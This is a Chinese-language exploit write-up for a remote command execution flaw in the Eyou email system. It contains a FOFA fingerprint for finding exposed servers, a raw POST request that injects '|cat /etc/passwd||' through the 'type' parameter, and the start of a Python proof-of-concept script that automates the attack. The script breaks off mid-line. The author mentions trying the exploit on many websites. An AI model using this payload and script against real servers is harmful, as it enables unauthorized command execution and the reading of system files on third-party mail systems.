亿邮电子邮件系统 存在远程命令执行漏洞,攻击者可以执行任意命令
亿邮电子邮件系统
body="亿邮电子邮件系统"
复现的时候,通过fofa智能查看五页内容,这里使用的谷歌语法。
POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 39
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
type='|cat /etc/passwd||'
抓到的数据包如下:
构造数据包:
复现的时候试了很多网站。G
# @Author:ximo
# 亿邮电子邮件系统 RCE
import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import time
def title():
print('+------------------------------------------')
print('+-------------亿邮电子邮件系统 RCE------------')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + '/webadm/?q=moni_detail.do&action=gragh'
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data= "type='|cat /etc/passwd||'"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response1 = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
if response1.status_code == 200 and 'root:x:0:0' in response1.text:
print('目标{}可能存在漏洞,正在执行 cat /etc/passwd'.format(target_url))
time.sleep(3)
result = re.findall(r'